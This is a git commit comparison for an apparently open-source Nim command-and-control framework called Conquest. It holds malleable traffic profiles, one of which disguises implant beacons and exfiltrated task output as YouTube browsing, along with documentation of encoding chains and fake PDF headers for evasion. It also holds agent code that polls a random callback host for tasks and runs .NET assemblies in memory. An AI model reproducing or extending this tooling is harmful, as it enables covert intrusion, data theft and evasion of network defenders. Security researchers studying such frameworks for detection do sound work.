Compare commits
24 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d4c57cf980 | ||
|
|
fb78ae16cc | ||
|
|
6a20c25085 | ||
|
|
2f2130927e | ||
|
|
8468cfdab7 | ||
|
|
72bc732c89 | ||
|
|
3b5b570e24 | ||
|
|
d66f78337f | ||
|
|
f24e5752a9 | ||
|
|
bb7ed24799 | ||
|
|
8a66e56c5a | ||
|
|
df8453bf1a | ||
|
|
b02cc5a331 | ||
|
|
0149a82f60 | ||
|
|
4907639848 | ||
|
|
b8f57a8074 | ||
|
|
56f244e4d5 | ||
|
|
8a22cf9e53 | ||
|
|
235479a38b | ||
|
|
f3ddc49729 | ||
|
|
315b7fe50a | ||
|
|
032adfa051 | ||
|
|
b1603fc7b6 | ||
|
|
ec2388d993 |
@@ -53,8 +53,9 @@ The following projects and people have significantly inspired and/or helped with
|
||||
- [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/)
|
||||
- [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/)
|
||||
- [winim](https://github.com/khchen/winim)
|
||||
- [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim)
|
||||
- [OffensiveNim](https://github.com/byt3bl33d3r/OffensiveNim)
|
||||
- Existing C2's written (partially) in Nim
|
||||
- [NimPlant](https://github.com/chvancooten/NimPlant)
|
||||
- [Nimhawk](https://github.com/hdbreaker/Nimhawk)
|
||||
- [grc2](https://github.com/andreiverse/grc2)
|
||||
- [grc2](https://github.com/andreiverse/grc2)
|
||||
- [Nimbo-C2](https://github.com/itaymigdal/Nimbo-C2)
|
||||
BIN
assets/modules-10.png
Normal file
BIN
assets/modules-10.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 301 KiB |
@@ -20,12 +20,11 @@ task client, "Build conquest client binary":
|
||||
|
||||
requires "nim >= 2.2.4"
|
||||
|
||||
requires "parsetoml >= 0.7.2"
|
||||
requires "nimcrypto >= 0.6.4"
|
||||
requires "tiny_sqlite >= 0.2.0"
|
||||
requires "winim >= 3.9.4"
|
||||
requires "ptr_math >= 0.3.0"
|
||||
requires "imguin >= 1.92.2.1"
|
||||
requires "imguin >= 1.92.4.0"
|
||||
requires "zippy >= 0.10.16"
|
||||
requires "mummy >= 0.4.6"
|
||||
requires "whisky >= 0.1.3"
|
||||
|
||||
@@ -7,10 +7,9 @@ database-file = "data/conquest.db"
|
||||
|
||||
# Team server settings (WebSocket server port, users, ...)
|
||||
[team-server]
|
||||
host = "0.0.0.0"
|
||||
port = 37573
|
||||
|
||||
# [team-server.users]
|
||||
|
||||
# ----------------------------------------------------------
|
||||
# HTTP GET
|
||||
# ----------------------------------------------------------
|
||||
@@ -19,14 +18,15 @@ port = 37573
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# Defines URI endpoints for HTTP GET requests
|
||||
# This has to be an array, even if it only has one member
|
||||
endpoints = [
|
||||
"/get",
|
||||
"/api/v1.2/status.js"
|
||||
]
|
||||
|
||||
# Defines where the heartbeat is placed within the HTTP GET request
|
||||
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings
|
||||
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
|
||||
# Allows for optional data transformation using encoding (base64, hex, ...), appending and prepending of strings
|
||||
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter or request body
|
||||
# Encoding is only applied to the payload and not the prepended or appended strings
|
||||
[http-get.agent.heartbeat]
|
||||
placement = { type = "header", name = "Authorization" }
|
||||
@@ -36,13 +36,26 @@ suffix = ".######################################-####"
|
||||
|
||||
# Example: PHP session cookie
|
||||
# placement = { type = "header", name = "Cookie" }
|
||||
# encoding = { type = "base64", url-safe = true }
|
||||
# prefix = "PHPSESSID="
|
||||
# suffix = ", path=/"
|
||||
# encoding = { type = "base64", url-safe = true }
|
||||
|
||||
# Other examples
|
||||
# placement = { type = "parameter", name = "id" }
|
||||
# placement = { type = "uri" }
|
||||
# Example: Hex string in GET parameter
|
||||
# placement = { type = "query", name = "id" }
|
||||
# encoding = { type = "hex" }
|
||||
|
||||
# Example: Data encoded with multiple techniques in GET request body
|
||||
# placement = { type = "body" }
|
||||
# encoding = [
|
||||
# { type = "rot", key = 5 },
|
||||
# { type = "base64" }
|
||||
# ]
|
||||
|
||||
# Example: Binary prefix (PDF header)
|
||||
# placement = { type = "body" }
|
||||
# encoding = { type = "xor", key = 100 }
|
||||
# prefix = [0x25, 0x50, 0x44, 0x46]
|
||||
# suffix = [0x25, 0x25, 0x45, 0x4F, 0x46]
|
||||
|
||||
# Defines arbitrary URI parameters that are added to the request
|
||||
[http-get.agent.parameters]
|
||||
@@ -84,32 +97,50 @@ placement = { type = "body" }
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# Defines URI endpoints for HTTP POST requests
|
||||
# This has to be an array, even if it only has one member
|
||||
endpoints = [
|
||||
"/post",
|
||||
"/api/v2/get.js"
|
||||
]
|
||||
|
||||
# Post request can also be sent with the HTTP verb PUT instead
|
||||
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
||||
request-methods = [
|
||||
"POST",
|
||||
"PUT"
|
||||
]
|
||||
|
||||
# Defines arbitrary request headers that are added to the POST request
|
||||
[http-post.agent.headers]
|
||||
Host = [
|
||||
"wikipedia.org",
|
||||
"google.com",
|
||||
"127.0.0.1"
|
||||
]
|
||||
Content-Type = "application/octet-stream"
|
||||
Content-Type = "text/plain"
|
||||
Connection = "Keep-Alive"
|
||||
Cache-Control = "no-cache"
|
||||
|
||||
# Defines arbitrary query parameters that are added to the URI
|
||||
[http-post.agent.parameters]
|
||||
lang = [
|
||||
"en-US",
|
||||
"de-AT"
|
||||
]
|
||||
page = "1$" # The $ character is replaced with a random number
|
||||
|
||||
# Defines how the POST requests made by the agents look like
|
||||
# For modules that involve large file transfers, it is not recommended to place the task output in a header or query parameter, as this will exceed the header size
|
||||
# Placing this type of data in the body is highly recommended
|
||||
[http-post.agent.output]
|
||||
placement = { type = "body" }
|
||||
encoding = { type = "hex" }
|
||||
# prefix = "<START>"
|
||||
# suffix = "<END>"
|
||||
|
||||
# Defines arbitrary response headers added by the server
|
||||
[http-post.server.headers]
|
||||
Server = "nginx"
|
||||
|
||||
# Defines data that is returned in the body of the server's response
|
||||
[http-post.server.output]
|
||||
placement = { type = "body" }
|
||||
body = "Ok"
|
||||
141
data/youtube.toml
Normal file
141
data/youtube.toml
Normal file
@@ -0,0 +1,141 @@
|
||||
# Conquest youtube video profile
|
||||
name = "youtube-video-profile"
|
||||
|
||||
# Important file paths and locations
|
||||
private-key-file = "data/keys/conquest-server_x25519_private.key"
|
||||
database-file = "data/conquest.db"
|
||||
|
||||
# Team server settings (WebSocket server port, users, ...)
|
||||
[team-server]
|
||||
host = "0.0.0.0"
|
||||
port = 37573
|
||||
|
||||
# ----------------------------------------------------------
|
||||
# HTTP GET
|
||||
# ----------------------------------------------------------
|
||||
# Defines URI endpoints for HTTP GET requests
|
||||
[http-get]
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# Defines URI endpoints for HTTP GET requests
|
||||
endpoints = [
|
||||
"/watch"
|
||||
]
|
||||
|
||||
# Defines where the heartbeat is placed within the HTTP GET request
|
||||
[http-get.agent.heartbeat]
|
||||
placement = { type = "header", name = "Cookie" }
|
||||
encoding = { type = "base64", url-safe = true }
|
||||
prefix = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA="
|
||||
suffix = "; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
||||
|
||||
# Defines arbitrary URI parameters that are added to the request
|
||||
[http-get.agent.parameters]
|
||||
v = "###########"
|
||||
|
||||
# Defines arbitrary headers that are added by the agent when performing a HTTP GET request
|
||||
[http-get.agent.headers]
|
||||
Host = "www.youtube.com"
|
||||
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
|
||||
Sec-Ch-Ua-Mobile = "?0"
|
||||
Sec-Ch-Ua-Full-Version = "\"\""
|
||||
Sec-Ch-Ua-Arch = "\"\""
|
||||
Sec-Ch-Ua-Platform = "\"Windows\""
|
||||
Sec-Ch-Ua-Platform-Version = "\"\""
|
||||
Sec-Ch-Ua-Model = "\"\""
|
||||
Sec-Ch-Ua-Bitness = "\"\""
|
||||
Sec-Ch-Ua-Wow64 = "?0"
|
||||
Accept-Language = [
|
||||
"en-US,en;q=0.9",
|
||||
"de-AT,de;q=0.9,en;q=0.8"
|
||||
]
|
||||
Upgrade-Insecure-Requests = "1"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"
|
||||
Service-Worker-Navigation-Preload = "true"
|
||||
Sec-Fetch-Site = "none"
|
||||
Sec-Fetch-Mode = "navigate"
|
||||
Sec-Fetch-User = "?1"
|
||||
Sec-Fetch-Dest = "document"
|
||||
Priority = "u=0, i"
|
||||
|
||||
# Defines arbitrary headers that are added to the server\"s response
|
||||
[http-get.server.headers]
|
||||
Content-Type = "text/html; charset=utf-8"
|
||||
X-Content-Type-Options = "nosniff"
|
||||
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
|
||||
Pragma = "no-cache"
|
||||
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
|
||||
Strict-Transport-Security = "max-age=31536000"
|
||||
X-Frame-Options = "SAMEORIGIN"
|
||||
Content-Security-Policy = "require-trusted-types-for \"script\""
|
||||
Server = "ESF"
|
||||
X-Xss-Protection = "0"
|
||||
P3p = "CP=\"This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=de for more info.\""
|
||||
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
|
||||
Set-Cookie = "__Secure-YEC=##############################################################################; Domain=.youtube.com; Expires=Mon, 07-Dec-2026 11:39:54 GMT; Path=/; Secure; HttpOnly; SameSite=lax"
|
||||
|
||||
# Defines how the server"s response to the task retrieval request is rendered
|
||||
[http-get.server.output]
|
||||
placement = { type = "body" }
|
||||
encoding = { type = "base64" }
|
||||
prefix = "<!DOCTYPE html><html style=\"font-size: 10px;font-family: Roboto, Arial, sans-serif;\" lang=\"de-DE\"><head><script data-id=\"_gd\" nonce=\"iqZzTrtVB86B0KRGblxg9Q\">window.WIZ_global_data = {\"HiPsbb\":0,\"MUE6Ne\":\"youtube_web\",\"MuJWjd\":false};</script><meta http-equiv=\"origin-trial\" content=\""
|
||||
suffix = "\"/><script nonce=\"iqZzTrtVB86B0KRGblxg9Q\">var ytcfg={d:function(){return window.yt&&yt.config_||ytcfg.data_||(ytcfg.data_={})},get:function(k,o){return k in ytcfg.d()?ytcfg.d()[k]:o},set:function(){var a=arguments;if(a.length>1)ytcfg.d()[a[0]]=a[1];else{var k;for(k in a[0])ytcfg.d()[k]=a[0][k]}}};window.ytcfg.set(\"EMERGENCY_BASE_URL\", \"/error_204?"
|
||||
|
||||
# ----------------------------------------------------------
|
||||
# HTTP POST
|
||||
# ----------------------------------------------------------
|
||||
[http-post]
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# Defines URI endpoints for HTTP POST requests
|
||||
endpoints = [
|
||||
"/youtubei/v1/like/like",
|
||||
"/youtubei/v1/log_event",
|
||||
"/youtubei/v1/player"
|
||||
]
|
||||
|
||||
# Post request can also be sent with the HTTP verb PUT instead
|
||||
request-methods = "POST"
|
||||
|
||||
[http-post.agent.headers]
|
||||
Host = "www.youtube.com"
|
||||
Referer = "https://www.youtube.com/watch?v=###########"
|
||||
Content-Type = "application/json"
|
||||
Connection = "Keep-Alive"
|
||||
Cache-Control = "no-cache"
|
||||
Sec-Ch-Ua = "\"Not.A/Brand\";v=\"99\", \"Chromium\";v=\"136\""
|
||||
Sec-Ch-Ua-Mobile = "?0"
|
||||
Sec-Ch-Ua-Full-Version = "\"\""
|
||||
Sec-Ch-Ua-Arch = "\"\""
|
||||
Sec-Ch-Ua-Platform = "\"Windows\""
|
||||
Sec-Ch-Ua-Platform-Version = "\"\""
|
||||
Sec-Ch-Ua-Model = "\"\""
|
||||
Sec-Ch-Ua-Bitness = "\"\""
|
||||
Sec-Ch-Ua-Wow64 = "?0"
|
||||
Cookie = "YSC=###########; SOCS=##############################################; VISITOR_PRIVACY_METADATA=##################################################################; __Secure-1PSIDTS=sidts-#######_##########################################_#########################; __Secure-3PSIDTS=sidts-#######_##########################################_#########################; HSID=####################;"
|
||||
|
||||
[http-post.agent.parameters]
|
||||
pretty-print = [
|
||||
"true",
|
||||
"false"
|
||||
]
|
||||
|
||||
[http-post.agent.output]
|
||||
placement = { type = "body" }
|
||||
encoding = { type = "base64", url-safe = true }
|
||||
prefix = "{\"context\":{\"client\":{\"hl\":\"de\",\"gl\":\"AT\",\"remoteHost\":\"$$.1$$.$$.1$$\",\"deviceMake\":\"\",\"deviceModel\":\"\",\"visitorData\":\"Cgt1M016MzRrZmhTUSj12MbIBjInCgJBVBIhEh0SGwsMDg8QERITFBUWFxgZGhscHR4fICEiIyQlJiBe\",\"userAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36,gzip(gfe)\",\"clientName\":\"WEB\",\"clientVersion\":\"2.20251107.01.00\",\"osName\":\"Windows\",\"osVersion\":\"10.0\",\"originalUrl\":\"https://www.youtube.com/\",\"screenPixelDensity\":2,\"platform\":\"DESKTOP\",\"clientFormFactor\":\"UNKNOWN_FORM_FACTOR\",\"configInfo\":{\"appInstallData\":\""
|
||||
suffix = "\"},\"screenDensityFloat\":1.5,\"userInterfaceTheme\":\"USER_INTERFACE_THEME_DARK\",\"timeZone\":\"Europe/Vienna\",\"browserName\":\"Chrome\",\"browserVersion\":\"142.0.0.0\",\"acceptHeader\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\"deviceExperimentId\":\"ChxOelUzTVRBeU1qQTJPVEV4TkRFNU5qUXhOQT09EPXYxsgGGPXYxsgG\",\"rolloutToken\":\"CJu4u9qz64jjcxCr8dad-t-QAxjzyIbunueQAw%3D%3D\",\"screenWidthPoints\":1920,\"screenHeightPoints\":1065,\"utcOffsetMinutes\":60,\"connectionType\":\"CONN_CELLULAR_3G\",\"memoryTotalKbytes\":\"8000000\",\"mainAppWebInfo\":{\"graftUrl\":\"https://www.youtube.com/watch?v=###########&list=RD4WIMyqBG9gs&start_radio=1\",\"pwaInstallabilityStatus\":\"PWA_INSTALLABILITY_STATUS_UNKNOWN\",\"webDisplayMode\":\"WEB_DISPLAY_MODE_BROWSER\",\"isWebNativeShareAvailable\":true}},\"user\":{\"lockedSafetyMode\":false},\"request\":{\"useSsl\":true,\"internalExperimentFlags\":[],\"consistencyTokenJars\":[]},\"clickTracking\":{\"clickTrackingParams\":\"CJgFEKVBIhMIucGi957nkAMVneRJBx3cFhscygEErMFOaw==\"},\"adSignalsInfo\":{\"params\":[{\"key\":\"dt\",\"value\":\"1762765953510\"},{\"key\":\"flash\",\"value\":\"0\"},{\"key\":\"frm\",\"value\":\"0\"},{\"key\":\"u_tz\",\"value\":\"60\"},{\"key\":\"u_his\",\"value\":\"4\"},{\"key\":\"u_h\",\"value\":\"1200\"},{\"key\":\"u_w\",\"value\":\"1920\"},{\"key\":\"u_ah\",\"value\":\"1152\"},{\"key\":\"u_aw\",\"value\":\"1920\"},{\"key\":\"u_cd\",\"value\":\"24\"},{\"key\":\"bc\",\"value\":\"31\"},{\"key\":\"bih\",\"value\":\"1065\"},{\"key\":\"biw\",\"value\":\"1905\"},{\"key\":\"brdim\",\"value\":\"0,0,0,0,1920,0,1920,1152,1920,1065\"},{\"key\":\"vis\",\"value\":\"1\"},{\"key\":\"wgl\",\"value\":\"true\"},{\"key\":\"ca_type\",\"value\":\"image\"}],\"bid\":\"ANyPxKqp2RGW0TLEXMjNbBRm6ZPDYteE8iHnYK0DaJMOiTEHrbqefZtn6qfK_MhA2-ZgnoosEwKaN8pi77jJRptRzz5Rsm-P_w\"}},\"target\":{\"videoId\":\"###########\"},\"params\":\"Cg0KCzRXSU15cUJHOWdzIAAyDAiJ2cbIBhCm6ueLAQ%3D%3D\"}"
|
||||
|
||||
[http-post.server.headers]
|
||||
Content-Type = "application/json; charset=utf-8"
|
||||
X-Content-Type-Options = "nosniff"
|
||||
Cache-Control = "no-cache, no-store, max-age=0, must-revalidate"
|
||||
Pragma = "no-cache"
|
||||
Expires = "Mon, 01 Jan 1990 00:00:00 GMT"
|
||||
Server = "ESF"
|
||||
X-Xss-Protection = "0"
|
||||
Strict-Transport-Security = "max-age=31536000"
|
||||
Alt-Svc = "h3=\":443\"; ma=2592000,h3-29=\":443\"; ma=2592000"
|
||||
|
||||
[http-post.server.output]
|
||||
body = "{\"responseContext\": {}}"
|
||||
@@ -6,13 +6,16 @@
|
||||
- [Team server settings](#team-server-settings)
|
||||
- [GET settings](#get-settings)
|
||||
- [Data transformation](#data-transformation)
|
||||
- [Chaining Encodings](#chaining-encodings)
|
||||
- [Binary Prefix/Suffix](#binary-prefixsuffix)
|
||||
- [More Examples](#more-examples)
|
||||
- [Request options](#request-options)
|
||||
- [Response options](#response-options)
|
||||
- [POST settings](#post-settings)
|
||||
|
||||
## General
|
||||
|
||||
Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies.
|
||||
Conquest supports malleable C2 profiles written using the TOML configuration language and fully support the TOML v1.0.0 spec. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. There is also the `$` wildcard, which is replaced by a single digit, for randomizing numeric values.
|
||||
|
||||
General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database.
|
||||
|
||||
@@ -23,10 +26,11 @@ database-file = "data/conquest.db"
|
||||
```
|
||||
|
||||
## Team server settings
|
||||
The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block.
|
||||
The team server settings currently only include the host and port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. By default, the team server listens on all interfaces on port 37573 for client connections.
|
||||
|
||||
```toml
|
||||
[team-server]
|
||||
host = "0.0.0.0"
|
||||
port = 37573
|
||||
```
|
||||
|
||||
@@ -49,12 +53,13 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
|
||||
|
||||
| Name | Type | Description |
|
||||
| --- | --- | --- |
|
||||
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`|
|
||||
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query` and `body`.|
|
||||
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
|
||||
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) |
|
||||
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. |
|
||||
| prefix | STRING | String to prepend before the heartbeat payload. |
|
||||
| suffix | STRING | String to append after the heartbeat payload. |
|
||||
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex`, `rot`, `xor` and `none` (default) |
|
||||
| encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
|
||||
| encoding.key | INTEGER | Only used if encoding.type is set to `xor` or `rot`. The `rot` setting applies a Caesar cipher, while `xor` simply XOR-encodes the data. |
|
||||
| prefix | STRING/ARRAY | String to prepend before the heartbeat payload. |
|
||||
| suffix | STRING/ARRAY | String to append after the heartbeat payload. |
|
||||
|
||||
The order of operations is:
|
||||
1. Encoding
|
||||
@@ -66,9 +71,6 @@ On the other hand, the server processes the requests in the following order:
|
||||
2. Removal of prefix & suffix
|
||||
3. Decoding
|
||||
|
||||
> [!NOTE]
|
||||
> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options.
|
||||
|
||||
To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request.
|
||||
|
||||
```toml
|
||||
@@ -81,8 +83,36 @@ suffix = ".######################################-####"
|
||||
|
||||

|
||||
|
||||
#### Chaining Encodings
|
||||
|
||||
Multiple encodings can be applied to a packet by defining them in an array of inline-tables, as seen in the example below. The encodings are applied in the order they are defined in the profile. During the decoding of the data transformation, this order is reversed. Hence, the example below first applies the ROT encoding with the key 5 on the data and later base64-encodes it. The reversal starts with the base64-decoding and a rotation in the opposite direction.
|
||||
|
||||
```toml
|
||||
placement = { type = "body" }
|
||||
encoding = [
|
||||
{ type = "rot", key = 5 },
|
||||
{ type = "base64" }
|
||||
]
|
||||
```
|
||||
|
||||
#### Binary Prefix/Suffix
|
||||
|
||||
Instead of using strings for the prefix and suffix, it is also possible to use an array of integers to define the bytes that will be prepended/appended. Hex-formatting is supported, so something like the following can be used. This is useful to create requests that resemble binary data, such as PNGs and PDFs.
|
||||
|
||||
```toml
|
||||
placement = { type = "body" }
|
||||
encoding = { type = "xor", key = 100 }
|
||||
prefix = [0x25, 0x50, 0x44, 0x46] # %PDF
|
||||
suffix = [0x25, 0x25, 0x45, 0x4F, 0x46] # %%EOF
|
||||
```
|
||||
|
||||
#### More Examples
|
||||
|
||||
Check the [default profile](../data/profile.toml) for more examples.
|
||||
|
||||
Other example profiles:
|
||||
- [youtube.profile](../data/youtube.toml): Traffic that resembles watching and interacting with Youtube videos.
|
||||
|
||||
### Request options
|
||||
|
||||
The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns.
|
||||
@@ -127,24 +157,26 @@ placement = { type = "body" }
|
||||
|
||||
## POST settings
|
||||
|
||||
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT.
|
||||
HTTP POST requests can be configured in a similar way to GET requests. Here, it is also possible to define alternative request methods, such as PUT. Under `[http-post.agent.output]`, it is possible to define how the POST requests made to the server by the agents look like. The same data transformation techniques can be applied. For example, it would be possible to hide task output as a base64 string within a JSON object. The `[http-post.server.output]` block can be used to customize the server's response.
|
||||
|
||||
```toml
|
||||
[http-post]
|
||||
user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
||||
|
||||
# Defines URI endpoints for HTTP POST requests
|
||||
# This has to be an array, even if it only has one member
|
||||
endpoints = [
|
||||
"/post",
|
||||
"/api/v2/get.js"
|
||||
]
|
||||
|
||||
# Post request can also be sent with the HTTP verb PUT instead
|
||||
# Post request can also be sent with a different HTTP verb (PUT, GET, ...)
|
||||
request-methods = [
|
||||
"POST",
|
||||
"PUT"
|
||||
]
|
||||
|
||||
# Defines arbitrary request headers that are added to the POST request
|
||||
[http-post.agent.headers]
|
||||
Host = [
|
||||
"wikipedia.org",
|
||||
@@ -155,14 +187,28 @@ Content-Type = "application/octet-stream"
|
||||
Connection = "Keep-Alive"
|
||||
Cache-Control = "no-cache"
|
||||
|
||||
# Defines arbitrary query parameters that are added to the URI
|
||||
[http-post.agent.parameters]
|
||||
lang = [
|
||||
"en-US",
|
||||
"de-AT"
|
||||
]
|
||||
|
||||
# Defines how the POST requests made by the agents look like
|
||||
# Placing this type of data in the body is highly recommended due to the size of certain task results
|
||||
[http-post.agent.output]
|
||||
placement = { type = "body" }
|
||||
encoding = { type = "none" }
|
||||
# prefix = ""
|
||||
# suffix = ""
|
||||
|
||||
# Defines arbitrary response headers added by the server
|
||||
[http-post.server.headers]
|
||||
Server = "nginx"
|
||||
|
||||
# Defines data that is returned in the body of the server's response
|
||||
[http-post.server.output]
|
||||
placement = { type = "body" }
|
||||
body = ""
|
||||
```
|
||||
|
||||

|
||||
@@ -304,13 +304,14 @@ Arguments:
|
||||
### upload
|
||||
Upload a file from the operator Desktop to the targe system.
|
||||
```
|
||||
Usage : upload <file>
|
||||
Usage : upload <file> [destination]
|
||||
Example : upload /path/to/payload.exe
|
||||
|
||||
Arguments:
|
||||
Name Type Required Description
|
||||
--------------- ------ -------- --------------------
|
||||
* file BINARY YES Path to file to upload to the target machine.
|
||||
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
|
||||
```
|
||||
|
||||
## SCREENSHOT
|
||||
@@ -333,6 +334,8 @@ Usage : ps
|
||||
Example : ps
|
||||
```
|
||||
|
||||

|
||||
|
||||
### env
|
||||
Display environment variables.
|
||||
```
|
||||
|
||||
Binary file not shown.
@@ -1,5 +1,4 @@
|
||||
import winim/[lean, clr]
|
||||
import os
|
||||
import ../utils/[hwbp, io]
|
||||
import ../../common/utils
|
||||
|
||||
@@ -60,7 +59,7 @@ proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[stri
|
||||
# Create AppDomain
|
||||
let appDomainType = mscorlib.GetType(protect("System.AppDomain"))
|
||||
let domainSetup = mscorlib.new(protect("System.AppDomainSetup"))
|
||||
domainSetup.ApplicationBase = getCurrentDir()
|
||||
domainSetup.ApplicationBase = protect("C:/Windows/System32")
|
||||
domainSetup.DisallowBindingRedirects = false
|
||||
domainSetup.DisallowCodeDownload = true
|
||||
domainSetup.ShadowCopyFiles = protect("false")
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import parsetoml, system
|
||||
import ../utils/io
|
||||
import ../../common/[types, utils, crypto, serialize]
|
||||
import ../../common/[types, utils, crypto, profile, serialize]
|
||||
|
||||
const CONFIGURATION {.strdefine.}: string = ""
|
||||
|
||||
|
||||
@@ -1,57 +1,46 @@
|
||||
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||
import httpclient, strformat, strutils, asyncdispatch, base64, tables, random
|
||||
import ../utils/io
|
||||
import ../../common/[types, utils, profile]
|
||||
|
||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
||||
var heartbeatString: string
|
||||
|
||||
# Apply data transformation to the heartbeat bytes
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
||||
of protect("base64"):
|
||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||
of protect("none"):
|
||||
heartbeatString = Bytes.toString(heartbeat)
|
||||
|
||||
# Apply data transformation
|
||||
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
|
||||
var body: string = ""
|
||||
|
||||
# Define request headers, as defined in profile
|
||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||
client.headers.add(header, value.getStringValue())
|
||||
for header in ctx.profile.getTableKeys(protect("http-get.agent.headers")):
|
||||
client.headers.add(header.key, header.value.getStringValue())
|
||||
|
||||
# Select a random endpoint to make the request to
|
||||
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
||||
if endpoint[0] == '/':
|
||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||
|
||||
let
|
||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||
payload = prefix & heartbeatString & suffix
|
||||
|
||||
# Add heartbeat packet to the request
|
||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||
of protect("header"):
|
||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||
of protect("parameter"):
|
||||
of protect("query"):
|
||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||
endpoint &= fmt"{param}={payload}&"
|
||||
of protect("uri"):
|
||||
discard
|
||||
of protect("body"):
|
||||
discard
|
||||
body = payload
|
||||
else:
|
||||
discard
|
||||
|
||||
# Define additional request parameters
|
||||
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||
for param in ctx.profile.getTableKeys(protect("http-get.agent.parameters")):
|
||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
# Select random callback host
|
||||
let hosts = ctx.hosts.split(";")
|
||||
let host = hosts[rand(hosts.len() - 1)]
|
||||
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
||||
let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
|
||||
|
||||
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
||||
if response.code == Http404:
